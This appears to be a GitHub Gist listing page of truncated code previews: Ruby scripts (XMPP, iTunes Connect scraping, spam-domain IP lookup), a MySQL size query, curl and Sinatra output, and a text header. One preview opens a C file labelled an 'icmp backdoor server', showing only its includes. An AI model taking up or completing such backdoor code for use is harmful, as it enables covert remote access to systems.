Skip to content

Instantly share code, notes, and snippets.

Versioned pasties....neat
#!/usr/bin/env ruby
require "rubygems"
require "xmpp4r"
user = "[email protected]"
pass = "password_goes_here"
jid = Jabber::JID.new(user)
client = Jabber::Client.new(jid)
mysql> SELECT count(*) TABLES,
concat(round(sum(table_rows)/1000000,2),'M') rows,
concat(round(sum(data_length)/(1024*1024*1024),2),'G') DATA,
concat(round(sum(index_length)/(1024*1024*1024),2),'G') idx,
concat(round(sum(data_length+index_length)/(1024*1024*1024),2),'G') total_size,
round(sum(index_length)/sum(data_length),2) idxfrac
FROM information_schema.TABLES;
+--------+----------+---------+--------+------------+---------+
| TABLES | rows | DATA | idx | total_size | idxfrac
+--------+----------+---------+--------+------------+---------+
#!/usr/bin/env ruby -wKU
require "socket"
# This prints a list of all the IPs associated with the domains in the following array
spam = %w{
ANIMAL-CROSSING-CHEATS.COM
aladdin-cheats.com
all-crysis-cheats.com
all-diablo-cheats.com
gem 'mechanize', '>=0.9.0'
require 'mechanize'
###
# Log in to itunes connect, get the list of applications.
#
# Example:
#
# ITunesConnect.new do |client|
# client.login '[email protected]', 'password'
def deserialize_xml(response)
doc = Hpricot.XML(response)
(doc/'items/').each do |elemen|
name = elemen.name.gsub(/\-/, '_')
if elemen.children.size > 1
stak = []
elemen.children.each {|x| stak.push(x.inner_html) if x.elem? }
self.instance_variable_set("@#{name}", stak)
else
self.instance_variable_set("@#{name}", elemen.inner_html)
~/workspace/kitchen/ curl -v http://tinyurl.com/3za9v
* About to connect() to tinyurl.com port 80 (#0)
* Trying 195.66.135.140... connected
* Connected to tinyurl.com (195.66.135.140) port 80 (#0)
> GET /3za9v HTTP/1.1
> User-Agent: curl/7.19.2 (i386-apple-darwin9.6.0) libcurl/7.19.2 OpenSSL/0.9.8i zlib/1.2.3
> Host: tinyurl.com
> Accept: */*
>
< HTTP/1.1 301 Moved Permanently
#<Sinatra::Request:0x19033cc
@env=
{"SERVER_NAME"=>"0.0.0.0",
"HTTP_ACCEPT"=>"*/*",
"HTTP_HOST"=>"0.0.0.0:4567",
"rack.url_scheme"=>"http",
"CONTENT_LENGTH"=>"16",
"HTTP_USER_AGENT"=>
"curl/7.19.2 (i386-apple-darwin9.6.0) libcurl/7.19.2 OpenSSL/0.9.8i zlib/1.2.3",
"REQUEST_PATH"=>"/lol/123",
/* chrak's icmp backdoor server */
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/in_systm.h>
#include <strings.h>
CAN PEOPLE READ YOUR MIND?
--------------------------
Silvio Cesare FOR THE OPPRESSED,
[email protected] COMMUNICATION IS THE BEGINNING OF ABOLITION.
in IRC
channel #freedog, efnet network, nick 'silvio'
oz.org network (Australia), nick 'silvio'